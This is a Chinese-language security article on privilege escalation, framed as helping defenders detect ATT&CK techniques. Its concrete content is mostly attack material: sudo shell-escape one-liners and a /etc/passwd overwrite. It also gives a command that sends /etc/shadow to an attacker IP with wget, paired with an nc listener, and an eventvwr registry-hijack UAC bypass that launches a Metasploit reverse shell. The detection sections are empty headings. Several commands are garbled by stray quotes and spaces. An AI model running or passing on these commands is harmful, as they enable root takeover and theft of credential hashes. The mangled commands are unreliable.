一、概述
前几期文章中,我们中介绍ATT&CK 14项战术中提权战术(一),包括提权前6项子技术。那么从前文中介绍的相关提权技术来开展测试,进行更深一步的分析。本文主要内容是介绍攻击者在运用提权技术时,在相关的资产服务器或者在PC机器上所产生的特征数据进行分析,使安全运维人员在后续工作中应当如何去进行预防和快速响应。
二、提权战术
1、sudo提权
1.1 Sudo和Sudo缓存(T1548.003)
攻击者可以执行sudo缓存或使用sudoers文件提升权限。Sudo命令允许系统管理员委派权限,使某些用户能够以root或其他用户身份运行某些命令,同时提供命令及其参数的审计跟踪。/etc/sudoers描述了哪些用户可以从哪些终端运行哪些命令,哪些命令用户可以作为其他用户或组运行。攻击者利用这些机制的不良配置来升级特权,而不需要用户的密码。
1.2 漏洞原理
本次的漏洞存在于Sudo上--一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
下面是sudo用户可以使用的操作命令,了解了这些,我们可以更加清楚提权操作。
1.3 Linux权限升级前期的信息收集
信息收集是关键。
(Linux)特权提升的TIps:
信息信息,更多的信息收集,信息收集是整个渗透测试过程的
整理信息,分析收集的信息和整理信息。
搜索漏洞- 知道要搜索什么以及在哪里可以找到漏洞利用代码。
修改代码- 修改漏洞利用程序,使其适合目前的渗透。并非每种漏洞都能为“现成”的每个系统工作。漏洞看环境
尝试攻击- 为(很多)尝试和错误做好准备
由此可知本次测试用的靶场版本是ubuntu1.8.31
1.4 实现代码
sudo find /etc/passwd -exec /bin/sh \;
sudo find /bin -name nano -exec /bin/sh \;
sudo vim -c!sh’
sudo nmap-交互式nmap>!shsh-4.1#
echo“ os.execute(’/bin/sh’)”>/tmp/shell.nse && sudo nmap —script =/tmp/shell.nse
sudo man man
sudo less /etc/hosts
sudo more /etc/hosts
sudo awk’BEGIN {system(“/bin/sh”)}’
touhid:$ 6 $ bxwJfzor $ MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/ gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root/bin
sudo nano /etc/passwd
现在切换用户密码是:test
在受害者方面。
sudo wget http://192.168.56.1:8080/passwd -O /etc/passwd
现在切换用户密码是:test
su touhid
注意:如果您要从服务器上转储文件,例如root的ssh密钥,shadow文件等。
sudo wget —post-file =/etc/shadow 192.168.56.1:8080
攻击者的设置侦听器:nc –lvp 8080
1.5安全管理平台检测告警
2、WindowsUAC
2.1 WindowsUAC提权介绍
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
2.2复现原理
系统在调用这些高权限程序时,会调用HKCR(HKEY_CLASSES_ROOT)下的键值。所以,修改HKCR(HKEY_CLASSES_ROOT)下的键值,把原本的键值改为 cmd.exe 等 shell 程序,如果高权限的程序,在运行过程中调用此处被修改过的键值,就会以高权限启动我们设定的程序。从而实现绕过 UAC提权。而此问题的难点在于找到注册表的关键位置
2.3修改注册表的键值
HKCU\Software\Classes\mscfile\shell\open\command,为msf生成的exe,之后运行eventvwr.exe
把d:\1.exe改为msf的exe地址,然后复制到命令行执行
2.4通过shell反弹劫持注册表
劫持注册表后,再次执行程序就会去查找劫持的注册表地址,然后以自动提权之后的管理员权限加载shell.exe,此时反弹回来的会话可通过getsystem直接提权
2.5 安全管理平台检测告警
三、总结
sudo 大家经常遇到,比如执行权限不够时加 sudo 执行,sudo 是让普通用户使用超级用户的命令。其配置文件为 /etc/sudoers,文件定义可以执行 sudo 的账户、定义某个应用程序用 root 访问、是否需要密码验证。
UAC此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()。
以上便是本期所分享的提权的技术,通过对每个技术的落地研究,对网内的安全问题等监控是必不可少的运营工作。